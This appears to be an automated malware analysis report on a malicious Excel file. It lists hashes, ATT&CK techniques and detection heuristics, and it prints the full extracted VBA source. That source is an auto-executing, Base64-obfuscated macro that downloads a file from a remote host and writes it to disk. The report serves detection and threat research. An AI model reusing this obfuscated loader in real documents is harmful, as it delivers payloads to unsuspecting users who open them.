Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d53b2d02c8079594…

MALICIOUS

Office (OOXML)

16.6 KB Created: 2021-06-04 10:46:31 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-13
MD5: a6df8e92b867bcd98fd22be517b16d33 SHA-1: ce46c3a3ec5891b49b465887e3ebc7c323c200d6 SHA-256: d53b2d02c80795948740846ca5038379fe27bc89dfdd397128993782d207fc53
168 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel document containing an Auto_Open VBA macro. This macro decodes a Base64 string to obtain the URL 'http://192.168.170.149/test.txt' and a target path 'C:\Users\Agus\Desktop\file\'. It then uses WinHttp.WinHttpRequest.5.1 to download content from the URL and saves it to the specified file path. The presence of obfuscated auto-executing VBA code and the CreateObject call strongly indicate malicious intent, likely to download and execute a secondary payload.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
    Set objFSO = CreateObject(DecodeBase64("U2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3Q="))
    If objFSO.FolderExists(myPath) Then
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Const ForReading = 1, ForWriting = 2, ForAppending = 8
    Set objFSO = CreateObject(DecodeBase64("U2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3Q="))
    If objFSO.FolderExists(myPath) Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
Sub Auto_Open()

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2089 bytes
SHA-256: cf5b55874a81ef9b77dfa4297c4a9e03549cad5e961e6ca2a9156ebb9391c51d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
    
        
    Dim i, objFile, objFSO, def, strFile, strMsg, myPath, abc
    myPath = DecodeBase64("QzpcVXNlcnNcQWd1c1xEZXNrdG9wXGZpbGVc")
    abc = DecodeBase64("aHR0cDovLzE5Mi4xNjguMTcwLjE0OS90ZXN0LnR4dA==")
    Const ForReading = 1, ForWriting = 2, ForAppending = 8
    Set objFSO = CreateObject(DecodeBase64("U2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3Q="))
    If objFSO.FolderExists(myPath) Then
        strFile = objFSO.BuildPath(myPath, Mid(abc, InStrRev(abc, "/") + 1))
    ElseIf objFSO.FolderExists(Left(myPath, InStrRev(myPath, "\") - 1)) Then
        strFile = myPath
    Else
        WScript.Echo "ERROR: Target folder not found."
        Exit Sub
    End If
    Set objFile = objFSO.OpenTextFile(strFile, ForWriting, True)
    Set def = CreateObject(DecodeBase64("V2luSHR0cC5XaW5IdHRwUmVxdWVzdC41LjE="))
    def.Open DecodeBase64("R0VU"), abc, False
    def.Send
    For i = 1 To LenB(def.ResponseBody)
        objFile.Write Chr(AscB(MidB(def.ResponseBody, i, 1)))
    Next
   
End Sub

Function DecodeBase64(b64$)
    Dim b
    With CreateObject("Microsoft.XMLDOM").createElement("b64")
        .DataType = "bin.base64": .Text = b64
        b = .nodeTypedValue
        With CreateObject("ADODB.Stream")
            .Open: .Type = 1: .Write b: .Position = 0: .Type = 2: .Charset = "utf-8"
            DecodeBase64 = .ReadText
            .Close
        End With
    End With
End Function

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22528 bytes
SHA-256: cc55329feebd593450429e72cb9f488b7ac98f32b4fa9e2d20151d770eb40d3f

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